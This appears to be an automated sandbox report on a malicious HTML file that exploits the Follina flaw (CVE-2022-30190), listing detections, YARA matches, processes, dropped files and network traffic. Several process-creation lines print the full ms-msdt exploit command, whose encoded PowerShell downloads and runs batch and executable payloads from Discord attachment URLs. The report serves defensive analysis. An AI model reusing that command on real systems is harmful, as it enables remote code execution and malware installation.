Windows Analysis Report
nF0trs9UzA.html

Overview

General Information

Sample Name: nF0trs9UzA.html
Analysis ID: 645982
MD5: c84460851147b8660ef77cf536b4e567
SHA1: d3fd435c851b13bca505eab06834e5fc2e1f1bf2
SHA256: c61fe40f46226d24f0f17c46acc4db6a0091c68abc6a3d995b3f6df1bbfcbb1e
Tags: CVE-2022-30190html
Infos:

Detection

Follina CVE-2022-30190
Score: 56
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Multi AV Scanner detection for submitted file
Yara detected Microsoft Office Exploit Follina CVE-2022-30190
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Yara signature match
Drops PE files
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
PE file contains sections with non-standard names
IP address seen in connection with other malware

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: nF0trs9UzA.html Virustotal: Detection: 42% Perma Link
Source: nF0trs9UzA.html ReversingLabs: Detection: 35%

Exploits
barindex
Yara detected Microsoft Office Exploit Follina CVE-2022-30190
Source: Yara match File source: nF0trs9UzA.html, type: SAMPLE
Source: Yara match File source: 0000000C.00000002.669283741.000002CBFCE90000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.669847334.000002CBFD114000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Local\Temp\6008_2054561844\LICENSE.txt Jump to behavior
Source: Binary string: widevinecdm.dll.pdb source: widevinecdm.dll.0.dr
Source: Binary string: widevinecdm.dll.pdb@ source: widevinecdm.dll.0.dr
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 239.255.255.250 239.255.255.250
Source: unknown Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49734
Source: Ruleset Data.0.dr String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: Filtering Rules.0.dr, Ruleset Data.0.dr String found in binary or memory: www.facebook.com/ajax/ads/ equals www.facebook.com (Facebook)
Source: Filtering Rules.0.dr String found in binary or memory: www.facebook.com0 equals www.facebook.com (Facebook)
Source: widevinecdm.dll.0.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: widevinecdm.dll.0.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: widevinecdm.dll.0.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: widevinecdm.dll.0.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: widevinecdm.dll.0.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: widevinecdm.dll.0.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: widevinecdm.dll.0.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: widevinecdm.dll.0.dr String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: widevinecdm.dll.0.dr String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: widevinecdm.dll.0.dr String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: widevinecdm.dll.0.dr String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: pnacl_public_x86_64_pnacl_sz_nexe.0.dr, pnacl_public_x86_64_pnacl_llc_nexe.0.dr String found in binary or memory: http://llvm.org/):
Source: widevinecdm.dll.0.dr String found in binary or memory: http://ocsp.digicert.com0
Source: widevinecdm.dll.0.dr String found in binary or memory: http://ocsp.digicert.com0A
Source: widevinecdm.dll.0.dr String found in binary or memory: http://ocsp.digicert.com0C
Source: widevinecdm.dll.0.dr String found in binary or memory: http://ocsp.digicert.com0O
Source: widevinecdm.dll.0.dr String found in binary or memory: http://www.digicert.com/CPS0
Source: 93111f39-a0bf-461c-9ac4-80bea82791b0.tmp.1.dr String found in binary or memory: https://accounts.google.com
Source: craw_window.js.0.dr String found in binary or memory: https://accounts.google.com/MergeSession
Source: 93111f39-a0bf-461c-9ac4-80bea82791b0.tmp.1.dr String found in binary or memory: https://apis.google.com
Source: pnacl_public_x86_64_crtend_o.0.dr, pnacl_public_x86_64_ld_nexe.0.dr String found in binary or memory: https://chromium.googlesource.com/a/native_client/pnacl-clang.git
Source: pnacl_public_x86_64_crtend_o.0.dr, pnacl_public_x86_64_ld_nexe.0.dr String found in binary or memory: https://chromium.googlesource.com/a/native_client/pnacl-llvm.git
Source: 93111f39-a0bf-461c-9ac4-80bea82791b0.tmp.1.dr String found in binary or memory: https://clients2.google.com
Source: manifest.json8.0.dr, manifest.json1.0.dr, manifest.json4.0.dr, manifest.json6.0.dr String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 93111f39-a0bf-461c-9ac4-80bea82791b0.tmp.1.dr String found in binary or memory: https://clients2.googleusercontent.com
Source: pnacl_public_x86_64_ld_nexe.0.dr String found in binary or memory: https://code.google.com/p/nativeclient/issues/entry
Source: pnacl_public_x86_64_ld_nexe.0.dr String found in binary or memory: https://code.google.com/p/nativeclient/issues/entry%s:
Source: LICENSE.txt.0.dr String found in binary or memory: https://creativecommons.org/.
Source: LICENSE.txt.0.dr String found in binary or memory: https://creativecommons.org/compatiblelicenses
Source: 852c6bac-e52c-4c65-bdcf-2d6bef49cb3b.tmp.1.dr, 93111f39-a0bf-461c-9ac4-80bea82791b0.tmp.1.dr String found in binary or memory: https://dns.google
Source: LICENSE.txt.0.dr String found in binary or memory: https://easylist.to/)
Source: 93111f39-a0bf-461c-9ac4-80bea82791b0.tmp.1.dr String found in binary or memory: https://fonts.googleapis.com
Source: 93111f39-a0bf-461c-9ac4-80bea82791b0.tmp.1.dr String found in binary or memory: https://fonts.gstatic.com
Source: LICENSE.txt.0.dr String found in binary or memory: https://github.com/easylist)
Source: craw_window.js.0.dr, craw_background.js.0.dr String found in binary or memory: https://github.com/google/closure-library/wiki/goog.module:-an-ES6-module-like-alternative-to-goog.p
Source: 93111f39-a0bf-461c-9ac4-80bea82791b0.tmp.1.dr String found in binary or memory: https://ogs.google.com
Source: craw_window.js.0.dr, manifest.json1.0.dr String found in binary or memory: https://payments.google.com/payments/v4/js/integrator.js
Source: 93111f39-a0bf-461c-9ac4-80bea82791b0.tmp.1.dr String found in binary or memory: https://play.google.com
Source: 93111f39-a0bf-461c-9ac4-80bea82791b0.tmp.1.dr String found in binary or memory: https://r5---sn-h0jeln7l.gvt1.com
Source: 93111f39-a0bf-461c-9ac4-80bea82791b0.tmp.1.dr String found in binary or memory: https://redirector.gvt1.com
Source: craw_window.js.0.dr, manifest.json1.0.dr String found in binary or memory: https://sandbox.google.com/payments/v4/js/integrator.js
Source: 93111f39-a0bf-461c-9ac4-80bea82791b0.tmp.1.dr String found in binary or memory: https://ssl.gstatic.com
Source: craw_window.js.0.dr, craw_background.js.0.dr String found in binary or memory: https://www-googleapis-staging.sandbox.google.com
Source: widevinecdm.dll.0.dr String found in binary or memory: https://www.digicert.com/CPS0
Source: 93111f39-a0bf-461c-9ac4-80bea82791b0.tmp.1.dr String found in binary or memory: https://www.google.com
Source: manifest.json1.0.dr String found in binary or memory: https://www.google.com/
Source: craw_window.js.0.dr String found in binary or memory: https://www.google.com/accounts/OAuthLogin?issueuberauth=1
Source: craw_window.js.0.dr String found in binary or memory: https://www.google.com/images/cleardot.gif
Source: craw_window.js.0.dr String found in binary or memory: https://www.google.com/images/dot2.gif
Source: craw_window.js.0.dr String found in binary or memory: https://www.google.com/images/x2.gif
Source: craw_background.js.0.dr String found in binary or memory: https://www.google.com/intl/en-US/chrome/blank.html
Source: craw_window.js.0.dr, craw_background.js.0.dr, 93111f39-a0bf-461c-9ac4-80bea82791b0.tmp.1.dr String found in binary or memory: https://www.googleapis.com
Source: manifest.json1.0.dr String found in binary or memory: https://www.googleapis.com/
Source: manifest.json1.0.dr String found in binary or memory: https://www.googleapis.com/auth/chromewebstore
Source: manifest.json1.0.dr String found in binary or memory: https://www.googleapis.com/auth/chromewebstore.readonly
Source: manifest.json1.0.dr String found in binary or memory: https://www.googleapis.com/auth/sierra
Source: manifest.json1.0.dr String found in binary or memory: https://www.googleapis.com/auth/sierrasandbox
Source: 93111f39-a0bf-461c-9ac4-80bea82791b0.tmp.1.dr String found in binary or memory: https://www.gstatic.com
Source: unknown HTTP traffic detected: POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1Host: accounts.google.comConnection: keep-aliveContent-Length: 1Origin: https://www.google.comContent-Type: application/x-www-form-urlencodedSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Source: unknown DNS traffic detected: queries for: accounts.google.com
Source: global traffic HTTP traffic detected: GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-GB&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1Host: clients2.google.comConnection: keep-aliveX-Goog-Update-Interactivity: fgX-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda,pkedcjkdefgpdelpbcmbmeomcjbeemfmX-Goog-Update-Updater: chromecrx-85.0.4183.121Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
Yara signature match
Source: nF0trs9UzA.html, type: SAMPLE Matched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: nF0trs9UzA.html, type: SAMPLE Matched rule: EXPL_Follina_CVE_2022_30190_Msdt_MSProtocolURI_May22 date = 2022-05-30, author = Tobias Michalski, Christian Burkard, description = Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 / Follina exploitation, reference = https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, score = , modified = 2022-05-31, hash = 4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784
Source: 0000000C.00000002.669283741.000002CBFCE90000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 0000000C.00000002.669847334.000002CBFD114000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: Process Memory Space: msdt.exe PID: 6784, type: MEMORYSTR Matched rule: SUSP_Encoded_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: nF0trs9UzA.html Virustotal: Detection: 42%
Source: nF0trs9UzA.html ReversingLabs: Detection: 35%
Source: C:\Windows\System32\msdt.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --enable-automation "C:\Users\user\Desktop\nF0trs9UzA.html
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1556,10822360021867408005,7468589743208575355,131072 --lang=en-GB --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1960 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Windows\System32\msdt.exe "C:\Windows\system32\msdt.exe" ms-msdt:/id%20PCWDiagnostic%20/skip%20force%20/param%20%22IT_RebrowseForFile=?%20IT_LaunchMethod=ContextMenu%20IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'SW52b2tlLVdlYlJlcXVlc3QgaHR0cHM6Ly9jZG4uZGlzY29yZGFwcC5jb20vYXR0YWNobWVudHMvOTg0Njg5ODU4ODMwMjcwNDc3Lzk4NjQyMjI3NzMxNjkzOTgxNi9jLmJhdCAtT3V0RmlsZSBDOlxXaW5kb3dzXFRhc2tzXGMuYmF0IDsgU3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggJ0M6XFdpbmRvd3NcVGFza3NcYy5iYXQnIC1XaW5kb3dTdHlsZSBIaWRkZW47IEludm9rZS1XZWJSZXF1ZXN0IGh0dHBzOi8vY2RuLmRpc2NvcmRhcHAuY29tL2F0dGFjaG1lbnRzLzk4NTM2Mzc3MjIxNjYwNjc1MC85ODUzNjQxMTE4NzEzMTU5NjgvV29yZC5leGUgLU91dEZpbGUgQzpcV2luZG93c1xUYXNrc1xXb3JkLmV4ZTsgQzpcV2luZG93c1xUYXNrc1xXb3JkLmV4ZSA7'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe%22
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1556,10822360021867408005,7468589743208575355,131072 --lang=en-GB --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1960 /prefetch:8 Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Windows\System32\msdt.exe "C:\Windows\system32\msdt.exe" ms-msdt:/id%20PCWDiagnostic%20/skip%20force%20/param%20%22IT_RebrowseForFile=?%20IT_LaunchMethod=ContextMenu%20IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'SW52b2tlLVdlYlJlcXVlc3QgaHR0cHM6Ly9jZG4uZGlzY29yZGFwcC5jb20vYXR0YWNobWVudHMvOTg0Njg5ODU4ODMwMjcwNDc3Lzk4NjQyMjI3NzMxNjkzOTgxNi9jLmJhdCAtT3V0RmlsZSBDOlxXaW5kb3dzXFRhc2tzXGMuYmF0IDsgU3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggJ0M6XFdpbmRvd3NcVGFza3NcYy5iYXQnIC1XaW5kb3dTdHlsZSBIaWRkZW47IEludm9rZS1XZWJSZXF1ZXN0IGh0dHBzOi8vY2RuLmRpc2NvcmRhcHAuY29tL2F0dGFjaG1lbnRzLzk4NTM2Mzc3MjIxNjYwNjc1MC85ODUzNjQxMTE4NzEzMTU5NjgvV29yZC5leGUgLU91dEZpbGUgQzpcV2luZG93c1xUYXNrc1xXb3JkLmV4ZTsgQzpcV2luZG93c1xUYXNrc1xXb3JkLmV4ZSA7'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe%22 Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-62A98650-1778.pma Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Local\Temp\2f173533-4bef-4c06-a9ca-30c5c91e7848.tmp Jump to behavior
Source: classification engine Classification label: mal56.expl.winHTML@38/155@2/5
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe Automated click: Next
Source: C:\Windows\System32\msdt.exe File opened: C:\Windows\system32\MSFTEDIT.DLL Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: Binary string: widevinecdm.dll.pdb source: widevinecdm.dll.0.dr
Source: Binary string: widevinecdm.dll.pdb@ source: widevinecdm.dll.0.dr
PE file contains sections with non-standard names
Source: widevinecdm.dll.0.dr Static PE information: section name: .00cfg
Source: widevinecdm.dll.0.dr Static PE information: section name: .rodata
Source: widevinecdm.dll.0.dr Static PE information: section name: _RDATA
Drops PE files
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Local\Temp\6008_103567953\_platform_specific\win_x64\widevinecdm.dll Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Local\Temp\6008_2054561844\LICENSE.txt Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\msdt.exe Window / User API: threadDelayed 1935 Jump to behavior
Source: C:\Windows\System32\msdt.exe Window / User API: threadDelayed 955 Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Windows\System32\msdt.exe "C:\Windows\system32\msdt.exe" ms-msdt:/id%20PCWDiagnostic%20/skip%20force%20/param%20%22IT_RebrowseForFile=?%20IT_LaunchMethod=ContextMenu%20IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'SW52b2tlLVdlYlJlcXVlc3QgaHR0cHM6Ly9jZG4uZGlzY29yZGFwcC5jb20vYXR0YWNobWVudHMvOTg0Njg5ODU4ODMwMjcwNDc3Lzk4NjQyMjI3NzMxNjkzOTgxNi9jLmJhdCAtT3V0RmlsZSBDOlxXaW5kb3dzXFRhc2tzXGMuYmF0IDsgU3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggJ0M6XFdpbmRvd3NcVGFza3NcYy5iYXQnIC1XaW5kb3dTdHlsZSBIaWRkZW47IEludm9rZS1XZWJSZXF1ZXN0IGh0dHBzOi8vY2RuLmRpc2NvcmRhcHAuY29tL2F0dGFjaG1lbnRzLzk4NTM2Mzc3MjIxNjYwNjc1MC85ODUzNjQxMTE4NzEzMTU5NjgvV29yZC5leGUgLU91dEZpbGUgQzpcV2luZG93c1xUYXNrc1xXb3JkLmV4ZTsgQzpcV2luZG93c1xUYXNrc1xXb3JkLmV4ZSA7'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe%22
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Windows\System32\msdt.exe "C:\Windows\system32\msdt.exe" ms-msdt:/id%20PCWDiagnostic%20/skip%20force%20/param%20%22IT_RebrowseForFile=?%20IT_LaunchMethod=ContextMenu%20IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'SW52b2tlLVdlYlJlcXVlc3QgaHR0cHM6Ly9jZG4uZGlzY29yZGFwcC5jb20vYXR0YWNobWVudHMvOTg0Njg5ODU4ODMwMjcwNDc3Lzk4NjQyMjI3NzMxNjkzOTgxNi9jLmJhdCAtT3V0RmlsZSBDOlxXaW5kb3dzXFRhc2tzXGMuYmF0IDsgU3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggJ0M6XFdpbmRvd3NcVGFza3NcYy5iYXQnIC1XaW5kb3dTdHlsZSBIaWRkZW47IEludm9rZS1XZWJSZXF1ZXN0IGh0dHBzOi8vY2RuLmRpc2NvcmRhcHAuY29tL2F0dGFjaG1lbnRzLzk4NTM2Mzc3MjIxNjYwNjc1MC85ODUzNjQxMTE4NzEzMTU5NjgvV29yZC5leGUgLU91dEZpbGUgQzpcV2luZG93c1xUYXNrc1xXb3JkLmV4ZTsgQzpcV2luZG93c1xUYXNrc1xXb3JkLmV4ZSA7'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe%22 Jump to behavior
windows-stand
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Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 645982 Sample: nF0trs9UzA.html Startdate: 15/06/2022 Architecture: WINDOWS Score: 56 33 Multi AV Scanner detection for submitted file 2->33 35 Yara detected Microsoft Office Exploit Follina CVE-2022-30190 2->35 6 chrome.exe 18 338 2->6         started        process3 dnsIp4 23 192.168.2.1 unknown unknown 6->23 25 239.255.255.250 unknown Reserved 6->25 15 C:\...\pnacl_public_x86_64_pnacl_sz_nexe, ELF 6->15 dropped 17 C:\...\pnacl_public_x86_64_pnacl_llc_nexe, ELF 6->17 dropped 19 C:\Users\user\...\pnacl_public_x86_64_ld_nexe, ELF 6->19 dropped 21 C:\Users\user\AppData\...\widevinecdm.dll, PE32+ 6->21 dropped 10 chrome.exe 14 6->10         started        13 msdt.exe 8 6->13         started        file5 process6 dnsIp7 27 clients.l.google.com 142.250.203.110, 443, 49735, 56511 GOOGLEUS United States 10->27 29 accounts.google.com 172.217.168.45, 443, 49734 GOOGLEUS United States 10->29 31 2 other IPs or domains 10->31
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
172.217.168.45
 accounts.google.com United States
15169 GOOGLEUS false
239.255.255.250
 unknown Reserved
unknown unknown false
142.250.203.110
 clients.l.google.com United States
15169 GOOGLEUS false

Private

IP
192.168.2.1
127.0.0.1

Contacted Domains

Name IP Active
accounts.google.com 172.217.168.45 true
clients.l.google.com 142.250.203.110 true
clients2.google.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard false
    		high
    https://clients2.google.com/service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-GB&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 false
      		high